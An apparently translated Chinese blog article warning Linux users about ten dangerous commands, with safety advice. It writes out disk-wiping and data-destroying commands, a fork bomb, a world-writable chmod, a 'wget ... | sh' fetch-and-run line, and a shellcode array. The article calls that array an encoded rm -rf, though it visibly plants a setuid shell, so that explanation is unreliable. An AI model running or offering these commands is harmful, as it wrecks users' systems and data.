我多次被问到这个问题,但我避免回答这个问题,因为没有明确的危险 Linux 命令列表。
您拥有使您能够控制和修改操作系统的各个方面的工具。我不是想吓唬你,但如果你不熟悉命令和工具,你可以很容易地搞砸你的系统。
想象一下家里有个小孩的情景。孩子可以通过多种方式伤害自己。但这是否意味着不应让孩子离开婴儿床?那会损害她的成长。
这是父母设定界限并引导孩子的地方。不要靠近火源。请勿将手指伸入电源插座。随着孩子的成长和经验的积累,她可以打开炉子,在壁炉里生火并插上电源线。
同样,如果您知道一些已知的危险命令,您可能会避免落入试图诱使您运行命令并弄乱系统的巨魔的陷阱。
随着您获得经验并了解命令和工具的含义和用法,使用愚蠢和棘手的命令破坏系统的机会就会减少。
我的队友收集了一些流行的危险 Linux 命令。让我们看看它们是如何工作的。
1. rm -rf /*
这可能是各种社交媒体中最臭名昭著的命令。您经常会发现巨魔在各种讨论中对此发表评论。
该命令rm
用于删除文件/目录。标志-r
和-f
用于表示递归删除指定目录中的所有文件。现在,没有 root 权限,这个命令不会造成任何伤害。
运行命令 sudo rm -rf /也不会产生任何问题,因为大多数发行版都提供了故障保护选项。您需要使用它指定 –no-preserve-root 才能实际运行它。
sudo rm -rf / --no-preserve-root
但是,更简单的版本可能是:
sudo rm -rf /*
它将开始递归删除根目录中的所有文件,并且在某个特定时间,您的系统会冻结并显示“删除文件时出错”消息。重新启动后,您将被发送到grub-rescue提示符。
2.覆盖你的分区
如果您熟悉文件系统,您可能知道 /dev/sda 是什么。它(通常)是您的磁盘驱动器分区。运算符用于将>
其前面命令的输出写入提供的指定位置。
一旦您运行任何命令并将其写入 /dev/sda,请说:
echo "Hello" > /dev/sda
这将使用字符串“Hello”替换包含引导系统所需的所有数据的分区。
3. 将一切移入虚空
每个 Linux 系统内部都有一个空白。而那个空是/dev/null。
你扔进这个区域的任何东西都会永远丢失。并且,它在丢弃数据后报告写入过程成功,这是其破坏性的主要原因
mv /home/user/* /dev/null
mv 命令用于移动或重命名文件/目录。在上面的命令中,您将主目录中的所有文件移动到 void。虽然根系统没有被破坏,但您的所有个人数据都将丢失。
4.格式化你的硬盘
mkfs是一个命令行实用程序,用于格式化磁盘和分区。它是一个超级方便的工具,用于为各种安装创建分区。但同样的命令也可以格式化你的驱动器。格式化驱动器意味着删除系统启动所需的所有文件。
mkfs.ext3 /dev/sda
该命令完成了它的工作,您最终会得到一个无法恢复的混乱系统。
5.叉子炸弹
这种可爱的特殊字符和符号的随机组合足以通过耗尽系统资源来冻结正在运行的系统。
:(){:|:&};:
& – 外壳后台操作符。它通知外壳程序将命令置于后台。在这里,它定义了一个名为 ':' 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统死机。
运行叉子炸弹的影响
顾名思义,分叉炸弹分叉了自己,最终变成了链式炸弹,吃掉了所有的系统资源。您将被迫重新启动系统,这并不像此列表中的其他命令那么糟糕。
6.覆盖重要的配置文件
虽然这本身不是一个命令,但它更像是一种预防措施。
如上所述,“>”运算符用于写入文件。它只是丢弃文件中已经存在的任何内容并写入提供给它的新数据。
command > config_filename
现在,如果你使用一些重要的配置文件作为写入数据的地方,它将替换内容,留下一个破碎的系统。
7.用垃圾数据替换分区
/dev/random 是 Linux 中可以创建垃圾数据的命令之一。将它与dd 命令和你的分区结合起来,你会得到一个燃烧弹来点燃你的分区。
dd if=/dev/random of=/dev/sda
dd 命令用作低级复制工具。在这里,它从中获取随机数据并用这些垃圾/dev/random
替换分区。/dev/sda
通过以下方式获得类似的效果:
cat /dev/urandom > filename
在这里,它从 /dev/urandom 获取垃圾数据并填写一个文件。如果不按 Ctrl + C 终止,文件会占用相当大的空间,这对于低端系统来说可能是灾难性的。
8. 向所有人公开你的系统
Linux 中的一切都是一个文件,每个文件都有一定的权限。
您可以使用 来查看权限ls -l
。没有特权的其他用户无法访问根文件系统。虽然这确保了一个私密和安全的系统,但您可以使用一个命令来颠倒这个系统。
chmod -R 777/
上面的命令将根分区上的所有文件公开给所有人。这意味着使用该系统的每个人都有读、写和执行权限。这对您的系统不利。
9.下载并运行恶意内容
如何在 Linux 中安装软件?您使用官方的包管理器或准备使用的包,如 Deb/RPM、Snap。平板包等
但是,有些软件没有打包,它们的开发人员提供了 shell 脚本来下载和运行。以自制软件为例。
您下载一个 shell 文件并以 root 身份运行它以在您的系统中安装软件。你看到它的问题了吗?
虽然它适用于 Homebrew 等官方软件,但在直接运行之前,您应该仔细检查正在下载的 shell 脚本的内容,如下所示:
wget http://malicious_source -O- | sh
此类命令将在您的系统中下载并运行恶意脚本,这可能会破坏系统的安全性。
10.变相的命令
您可以通过多种方式在 Linux 终端中运行命令。一种这样的方式是十六进制编码的命令。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
虽然看起来很花哨,但这是rm -rf
命令的编码版本。它与运行上一个命令的效果相同。因此,在从互联网上复制和粘贴这些花哨的命令时,请务必小心。
包起来
有一个著名的计算术语PEBKAC;“键盘和椅子之间存在问题。”
因为最终还是要靠用户(你)来确保你不会盲目地运行任何危险的命令来破坏系统。
阻止你开枪不是 UNIX 的工作。如果您选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将 Mr. Bullet 交付给 Mr Foot。
这条线同样适用于 Linux。您可以完全控制您的操作系统。你选择做什么完全取决于你。
我建议这些事情以确保更安全的体验:
- 尝试并理解您将要运行的命令。
- 使用 Timeshift 备份您的系统设置
- 使用 DejaDup 备份个人数据(主目录)
正如我所说,没有固定的危险 Linux 命令列表。可以将更多内容添加到此列表中,而且没有尽头。
我希望这能给你一些提示,让你知道你不应该做什么来保证 Linux 的安全。如果您在评论部分有建议,请告诉我。